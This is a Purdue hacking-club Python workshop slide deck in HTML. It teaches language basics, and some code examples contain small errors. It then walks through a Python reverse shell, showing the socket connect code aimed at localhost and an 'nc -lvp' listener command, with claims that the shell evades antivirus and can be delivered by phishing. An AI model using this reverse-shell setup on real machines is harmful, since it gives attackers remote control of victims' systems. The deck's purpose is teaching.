-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
714 lines (617 loc) · 25.6 KB
/
index.html
File metadata and controls
714 lines (617 loc) · 25.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css">
<!-- <link rel="stylesheet"
href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.13.1/styles/default.min.css">
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.13.1/highlight.min.js"></script>
<meta charset="utf-8"> -->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Python Workshop</title>
<link rel="stylesheet" href="css/reveal.css">
<link rel="stylesheet" href="css/theme/solarized.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="lib/css/zenburn.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? 'css/print/pdf.css' : 'css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<!-- START OF SLIDES -->
<section>
<h3 style="width: 100%"> Python - A Hacker's Introduction </h4>
<p> Presented by Kevin Taha </p>
<blockquote style="width: 100%">
<ul>
<li> Part 1 : Intro to Python </li>
<li> Part 2: Applications: Reverse Shell Backdoor </li>
</ul>
</blockquote>
<p> Full Slides available at kevintxy.github.io/Python_Workshop/ </p>
</section>
<section>
<section style="width: 100%">
<h3 style="font-size: 1.2em"> Requirements </h3>
<h6 style="text-decoration: underline"> 1. Python 3 </h6>
<ul style="width: 100%; font-size: .8em">
<li style="width: 100%"> Option 1 (Recommended): Install from python.org or SSH to lab machine such as data.cs or maven.itap </li>
<li> Option 2: Use repl.it (online IDE, will NOT work for part 2) </li>
<p style="color: red; font-size: .7em" > WINDOWS USERS: Please check the "Add Python3.7 to PATH" button.
<br> If you prefer using the Linux Subsystem for Windows, open BASH and run "sudo apt install python3" instead </p>
</ul>
<h6 style="text-decoration: underline"> 2. Any Text Editor </h6>
<ul style="width: 100%; font-size: .8em">
<li style="width: 100%"> I'll be using VIM on Bash for Windows, VS Code is also amazing. </li>
</ul>
<h6 style="text-decoration: underline"> 3. Network Listener (For Part 2) - We will handle this later </h6>
<ul style="width: 100%; font-size: .8em">
<li style="width: 100%"> Easy Option: NetCat </li>
<li style="width: 100%"> Hard: Write your own (We'll go over this) </li>
</ul>
</section>
<section>
<h4> Windows Users: Remember to ADD TO PATH </h4>
<img src="img/Capture.PNG" style="width:50%; length:50%"/>
<h6> This is required for Python to run in command line or Powershell</h6>
<li> It's also much easier to do this in the installer than manually </li>
</section>
</section>
<section>
<section>
<h5> Other Notes and Warnings </h5>
<p style="color: #a43; font-weight: bold"> All information in this workshop is for educational purposes. If you have any issues please contact me! All workshop material is open source. Images used are courtesy of RealPython. </p>
<br>
<a href="#" class="navigate-down">
<img width="178" height="238" data-src="https://s3.amazonaws.com/hakim-static/reveal-js/arrow.png" alt="Down arrow">
</a>
</section>
<section>
<h5> Getting Help </h5>
<p> These slides should be comprehensive enough for you to reference back on your own </p>
<p> kevintxy.github.io/Python_Workshop </p>
<h6> Contact Me! </h6>
<p> ktaha@purdue.edu </p>
<img src="img/in.png" width=40 length=40> /in/kevintaha <br>
<img src="img/fb.png" width=40 length=40> /ktahaxy
</section>
<section>
<h5> Curriculum </h5>
<p style="text-decoration: underline;"> Python3 - Easy as Py </p>
<blockquote>
<ul style="font-size: .7em">
<li> Variables & Basics </li>
<li> String Methods and Lists </li>
<li> Loops </li>
<li> Functions and Classes </li>
<li> Some Data Structures </li>
</ul>
</blockquote>
<p style="text-decoration: underline;"> Applications: Reverse Shell Backdoor </p>
<blockquote>
<ul style="font-size: .7em">
<li> Mini intro to sockets </li>
<li> Let's Hack! </li>
</ul>
</blockquote>
<br>
</section>
</section>
<section>
<section>
<h3> Part 1) Intro to Python </h3>
<img height="400px" src="img/python.jpg" />
</section>
<section>
<h3> Why Know Python? </h3>
<li> It's popular, easy to write, and reads like english!</li>
<h6> <span style="text-decoration: underline"> Example: Ternary Operators: C vs Python </span> </h6>
<h6> In C: </h6>
<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
int a = 1; </br>
printf("%s", (a == 1) ? "A IS ONE":"A IS NOT ONE"); </br>
// Output: "A IS ONE"
</code> </blockquote>
<h6> In Python: </h6>
<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
a = 2 </br>
print("A IS ONE") if a is 1 else "A IS NOT ONE" </br>
# Output: "A IS NOT ONE"
</code> </blockquote>
</section>
<section>
<h3>Why know Python?</h3>
<li> It's VERY widely used by professionals, researchers, and hobbyists </li>
<li> It's brutally effective for rapid development and quick scripts </li>
<li> It has a huge collection of libraries, especially for Machine Learning </li>
<li> It's not going away anytime soon</li>
</section>
</section>
<section>
<section>
<h3> 2) Writing and Compiling</h3>
<img src="img/layout.jpg" height="400px;"/>
</section>
<section>
<h4> Let's Get Started! </h4>
<ol>
<li> Get an active text editor and terminal running! </li>
<ul>
<li> <span style="font-weight: bold "> Native Users: </span> Any text editor like VSCode. Have a terminal window (Bash, Powershell, VSCode Terminal, etc) open to your working directory </li>
<li> <span style="font-weight: bold "> Repl.it users: </span> Just open a new Python project! </li>
</ul>
<li> Play around with the command line! Native users: type "python" in terminal to open it. </li>
</ol>
</section>
<section>
<h3> How to "Compile" </h3>
<li> Let's write some code! </li>
<blockquote> <code> print("Hello Python") </code> </blockquote>
<p> That's it! </p>
<p> Now let's run it: </p>
<li> Head to the terminal and type: <span> <code> python hello.py </code> </span> </li>
<li> Repl.it users: Just hit "run" </li>
<li> Make sure you've exited the python interpreter (Type "quit()") </li>
</section>
<section>
<h3> Side Note: Creating Executables </h3>
<h6> UNIX/Mac Users: Add extra line to top of your code, use chmod </h6>
<blockquote>
<code>
#!/usr/bin/env python
print("Hello World")
</code>
</blockquote>
<p> In terminal: <span><code> chmod +x hello.py</code></span>, then run ./hello.py </p>
<h6>Windows users: Many options, py2exe is one good one.</h6>
</section>
</section>
<section>
<section>
<h3> 3) Variables and Types </h3>
<img src="img/blocks.jpg" height="400px"/>
</section>
<section>
<h3> Variable Usage - Declaring </h3>
<li> Python is dynamically-typed - no declarations needed! </li>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Use hashes to write comments
x = "Python"
y = 3
print(x)
print(y)
print(type(x))
</code></pre>
</section>
<section>
<h3> Variable Usage - Printing </h3>
<li> Watch out for data type errors - cast using str(), int(), float(), and other functions </li>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
x = "Python"
y = 3
# Formatting dynamically using .format
print("{} has many formatting tricks in version {}".format(x,y))
print("%s %d also supports C-style formatting!" % ("Python", 3))
# If concatenating with +, remember to cast!
print(x + str(y))
</code></pre>
<p> For Python 3.6+, Google "Python f-strings" </p>
</section>
<section>
<h4> Advanced: Swap Variables in one line </h4>
<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
int a, b = 2, 5 </br>
a, b = b, a </br> </br>
# Python evaluates the right side first and packs the result into a tuple </br>
# It then evaluates the left side using that result </br>
# This effectively swaps the two variables
</code> </blockquote>
</section>
</section>
<section>
<section>
<h3> 4) Lists and Strings </h3>
<img src="img/strings.jpg" height="400px"/>
</section>
<section>
<h3> Lists & String Methods </h3>
<h6>Python has 4 major collection-based data types</h6>
<ul>
<li> <span style="font-weight: bolder"> Lists - </span> Dynamically sized arrays</li>
<li><span style="font-weight: bolder"> Tuples - </span> Ordered & unchangable lists</li>
<li> <span style="font-weight: bolder"> Sets - </span>Unordered, Unindexed, no duplicates - Similar to mathematical sets </li>
<li> <span style="font-weight: bolder"> Dictionaries - </span> Very powerful "Hash Table" style structure </li>
</ul>
</section>
<section>
<h5> Working with lists (Example + Live Demo) </h5>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Lists have no data type requirements.
myList = ["apple", 1, 2, "banana"]
# Easy to change elements
myList[1] = 7
# Also easy to append, remove, extend, etc with list functions!
myList.append("newstuff") # Adds new item
myList.extend([5,6,7]) # Extends list with contents of another list
myList.removes("apple") # Removes by item
myList.pop(0) # Removes item @ first index & returns it
# Other useful functions: len(), index(), count(), reverse(),
# sort(), clear(), enumerate() ... and many more!
</code></pre>
</section>
<section>
<h5> Strings Intro & Demo </h5>
<li style="width: 100%; font-size: 30px"> Strings function like lists, but are immutable (unchangable) </li>
<li style="width: 100%; font-size: 30px"> The built-in str library also has a LOT of very useful functions </li>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
longString = """ Use triple quotes in order to allow your strings
to span multiple lines without getting indentation errors """
# Split string up into words using space as separator
wordList = longString.split(' ')
# You can also do the reverse with str.join()
newString = ' '.join(wordList)
# You can search within strings as if they were lists
print('triple' in longString) # Outputs True
# Other useful functions: len(), str.strip(), .lower(), .upper(),
.replace(), .capitalize(), .index(), .isalpha(),...
</code></pre>
</section>
<section>
<h5> List & String Splicing </h5>
<li> Lists and Strings can be spliced with the format stuff[first:last:skip]</li>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
a = "Boiler Up!"
a[:4] #Outputs: "Boil"
a[6:] #Outputs: " Up!"
a[3:8] #Outputs: "ler U"
a[:3] + a[6:] Outputs: "Boi Up!"
a[::2] #Outputs: "Bie p"
a[::-1] #Outputs: "!pU relioB", effectively reversing the string!
# Note: Python supports negative indices for lists!
a[-3] #Outputs: 'U'
</code></pre>
</section>
</section>
<section>
<section>
<h3> 5) Control Flow </h3>
<img src="img/loops.jpg" style="height:400px;" />
</section>
<section>
<h3> Control Flow</h3>
<p> Python has many control flow statements, these are the most notable: </p>
<li> If/elif/else statements, </li>
<li> For Loops and For-Each loops </li>
<li> While Loops </li>
<li> Break and continue statements </li>
<li> The "pass" statement </li>
<li> Functions </li>
</section>
<section>
<h4> If statements </h4>
<p style="font-size: 25px"> Self explanatory, works like every other language. INDENT! </p>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Declaring 2 vars at once using Python's unpacking features
purdue, iu = 9, 4
if purdue > iu:
print(" IU Sucks! ")
elif purdue == iu:
iu = purdue - 1000
else:
del iu
# del is a keyword for deleting objects (usually not used)
# Python has the logical operators "and", "or", and "not"
if 9 + 10 != 21 and not iu > Purdue:
print("All is right in the world")
</code></pre>
</section>
<section>
<h4> Shorthand If and Ternaries </h4>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Single statements can go on one line
if a > b: print("A is bigger")
# If/Else can also go on one line using ternary syntax
print(" IU Sucks! ") if purdue > iu else print(" iu sucks?")
</code></pre>
</section>
<section>
<h4> While Loops </h4>
<li> While loops are self explanatory and work like other languages </li>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Remember to Indent!
i = 10
while i > 0:
print(i)
i -= 1
# Note: "break" and "continue" statements are supported!
</code></pre>
</section>
<section>
<h4> For Loops</h4>
<ul>
<li> Python For loops are untraditional </li>
<li> For loops require some kind of "iterable" object or "sequence" to go through
<ul> <li> This could be lists, strings, or many other types of data structures</li></ul>
</li>
</ul>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# "Traditional" style for loops
for i in range(3):
print(i)
#Output: 0
1
2
# The range(first, last, skip) function is commonly used for loops
</code></pre>
</section>
<section>
<h4> More for loop examples </h4>
<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
schools = ["Purdue", "IU", "UIUC", "Michigan"]
for x in mylist:
print(x)
# Loop through Letters in a String
for i in "some random string":
print(i)
# Use range function to specify exact looping parameters
for x in range(2,30,10):
print(x) #Output: 2, 12, 22
</code></pre>
</section>
</section>
<section>
<section>
<h3> 6) Functions and Classes </h3>
<p> Python is an Object-Oriented language that can behave like a dynamic/functional language </p>
<img height="400px" src="img/oop.jpg"/>
</section>
<section>
<h4> Functions </h4>
<li style="font-size: 30px"> Use the "def" keyword to write functions </li>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
def do_stuff():
print("Beep Boop did you call me?")
# Functions with parameters
def say_hello(name):
print("Hello", name)
# You can also set default parameter values
def say_hello(name = "John")
print("Hello", name)
# Prints "Hello John" if called w/out parameter
# Use the "return" keyword for return values
def add(x, y)
return x + y
</code></pre>
</section>
<section>
<h3> Star Unpacking For Arguments </h3>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
def printFour(a, b, c, d):
print(a, b, c, d)
nums = [1, 2, 3, 4]
printFour(*nums)
# Using * will "unpack" the list into separate argument vars.
</code></pre>
</section>
<section>
<h4> Classes </h4>
<p style="font-size: 30px"> Python OOP could justify its own workshop, but here are the basics: </p>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Declaring Classes
class Pet:
# Initializer - uses one of Python's "Magic Methods"
def __init__(self, name, age):
self.name = name
self.age = age
mood = "Happy"
class Dog(Pet): # Subclass Inherits from Parent (Pet)
def bark(self)
print("Woof, says " + self.name)
myDog = Dog("Teddy", 2)
myDog.bark() # Outputs: "Woof, says Teddy"
</code></pre>
</section>
<section>
<h4> Imports </h4>
<p> The "import" is used for libraries and it is very versatile. </p>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Importing and using entire Library
import random
x = random.randint(1,10)
# You can rename an imported library using the "as" keyword
import random as ra
x = ra.randint(1,10)
# You can also choose to just import certain functions from the library
from random import randint, random, shuffle
x = [randint(1,10) for i in range(10)]
shuffle(x) # No need to reference the class!
# Sneak peak of "list comprehensions" shown above.
# Generated list of 10 random numbers 1-10 in just one line!
</code></pre>
</section>
</section>
<section>
<section>
<h3> 7) References and further learning </h3>
<img src="img/references.jpg" style="height:400px;"/>
</section>
<section>
<h2> Things you'd really want to learn: </h2>
<li> Data Structures, especially DICTIONARIES! </li>
<li> File IO </li>
<li> List Comprehensions </li>
<li> More about OOP/Classes </li>
<li> Common Libraries like Numpy, Pandas...</li>
<li> Exception Handling and try/catch </li>
</section>
<section>
<h2> Good Resources: </h2>
<li> "Python Crash Course" Cheat sheets bit.ly/2S8WIyx</li>
<li> RealPython.com </li>
<li> Official Python Docs</li>
<li> Just use it to build whatever you want and learn by doing! </li>
</section>
</section>
<section style="color: black" data-transition="slide" data-background="#E3EECD" data-background-transition="zoom" >
<section>
<h2> Part 2: Reverse Shell Script </h2>
<img src="img/backdoor.jpg" height="400px" />
</section>
<section>
<h2> What is a reverse shell? </h2>
<li> One of the most basic types of computer attacks. Sometimes called "Shell Shoveling" </li>
<li> Allows attacker to gain control of another computer's command line (shell) </li>
<li> Attacking machine listens on port for victim machine's response. </li>
<li> Once the victim's machine runs the exploit script, attacker can take control</li>
</section>
<section>
<h3> How it's usually implemented </h3>
<p> Typically we'd have separate code for a server and a client </p>
<img src="img/twocodeattack.png" height="350px" />
</section>
<section>
<h3> We can simplify using NetCat! </h3>
<p> Why write any server code if we can use NetCat? </p>
<li> NetCat is a utility preinstalled on most UNIX machines that reads/writes to network connections. To save time we will use it to handle our server end. </li>
<img src="img/netcat.jpg" height="300px" />
</section>
</section>
<section data-background="#E3EECD">
<section>
<h3> Setup </h3>
<li> <span style="font-weight: bold"> MacOS, Linux, and Bash For Windows Users: </span> Netcat should be preinstalled. Just have two terminal windows open </li>
<li><span style="font-weight: bold"> Repl.it users:</span> Unsupported. SSH into a lab (see next slide) </li>
<li> If NetCat doesn't work or you want to see how the server would look in Python, use my Python listener code instead of NetCat: Find it in the "Python" folder for this workshop or at <a> bit.ly/2TypaGs </a> </li>
</section>
<section>
<h4>Windows</h4>
<ul><li> My code uses UNIX dependent commands from the OS library. As such, I am not supporting Windows.</li>
<li> Option 1) RECOMMENDED: Work from a Remote UNIX machine</li> <ul>
<li> CS Students: user@data.cs.purdue.edu </li>
<li> Other: user@maven.itap.purdue.edu </li>
</ul>
<li> Option 2) If installed, you can use the Windows Linux Subsystem for Windows 10 or a VM </li>
<li> To learn about how a reverse shell can be adapted to Linux AND Windows, see <br><a> github.com/thelinuxchoice/shellpy</a> </li>
</ul>
</section>
</section>
<section data-background="#E3EECD">
<section>
<h3> Let's Hack! </h3>
<h5> This part will be live coding</h5>
<p> The next few slides will also step through the code for those reviewing post-workshop. These are not as much in-depth so contact me with questions! </p>
</section>
<section>
<h3> Imports and declarations </h3>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
#!/usr/bin/python
import subprocess # Lets us start new processes/apps from within Python
import os # Gives us Operating System functions
import socket # Enables network programming w/ sockets in Python
# IP of the attacker computer. We'll use localhost (127.0.0.1)
# because we'll be attacking our own computer.
host = "127.0.0.1"
# Port to be used. Can be pretty much any 4 digit number.
port = 9999
</code></pre>
</section>
<section>
<h3> Shell Confirm Function (Somewhat optional)</h3>
<img src="img/confirm.PNG" height="400px"/>
<li> Challenge: build a secure login feature for the attacker using randomized passwords.</li>
</section>
<section>
<h3> Shell Loop Function </h3>
<img src="img/shell.PNG" height="400px"/>
<li> Challenge: Implement a "say" command that prints whatever the attacker writes to the target's computer </li>
</section>
<section>
<h3> Starting our functions </h3>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Intialize our socket - Internet Socket accessed via a stream.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Make a connection using our host name and port
s.connect((host,port))
# Start our Confirm function
Confirm()
</code></pre>
</section>
<section data-background="#E3EECD">
<h3> Putting it all together </h3>
<img src="img/final.PNG" height="550px"/>
</section>
</section>
<section data-background="#E3EECD">
<section>
<h3> Testing our script </h3>
<li> Attacker: Run <code> nc -lvp [PortNumber]</code> in terminal. </li> <ul>
<li> -l specifies to listen for a connection (listen mode) </li>
<li> -v is for more verbose output, it's optional. </li>
<li> -p signals that we have a port we're going to listen on </li>
<li> [PortNumber] is the port we set in the exploit code. I'm using 9999</li>
</ul>
<li> Now run our exploit script on the target machine (In our case another terminal window) with the command <code> python3 exploit.py</code> </li>
</section>
<section data-background-video="img/video.mp4">
<br> <br>
<h4> Left: Attacker ||| Right: Target</h4>
</section>
</section>
<section data-background="#E3EECD">
<section>
<h3> Why this exploit is meaningful </h3>
<li> Can be hidden inside an exe file and activated through phishing attacks (firewall required) </li>
<li> Bypasses most antivirus software </li>
<li> It's the most dangerous starting point for any pentest </li>
<li> Can be implemented in any language or just using NetCat </li>
</section>
<section>
<h3> Overall Takeaways </h3>
<li> Python is a flexible language that is brutally effective at ANYTHING </li>
<li> You don't need to know much about coding to do real damage </li>
<li> Don't be Evil </li>
</section>
</section>
<section data-background="#E3EECD">
<h3> Closing Notes </h3>
<img src="img/index.png"/>
<li> Another PH member is running a Machine Learning Workshop in Python next week! Stay tuned with our events. </li>
<li> I can cover additional topics within or outside of Python - just let me know what interests you </li>
<li> Want to help with our events or run your own workshop? Come to our weekly organizer meetings! </li>
</section>
<section>
<h3> Thank you :) </h3>
<h6>Contact Purdue Hackers</h6>
<p> purduehackers@gmail.com</p>
<p> phackers@purdue.edu</p>
<h6> Contact Me </h6>
<p> ktaha@purdue.edu </p>
<img src="img/in.png" width=40 length=40> /in/kevintaha <br>
<img src="img/fb.png" width=40 length=40> /ktahaxy
</section>
<!-- END OF SLIDES -->
</div>
</div>
<script src="lib/js/head.min.js"></script>
<script src="js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
dependencies: [
{ src: 'plugin/markdown/marked.js' },
{ src: 'plugin/markdown/markdown.js' },
{ src: 'plugin/notes/notes.js', async: true },
{ src: 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>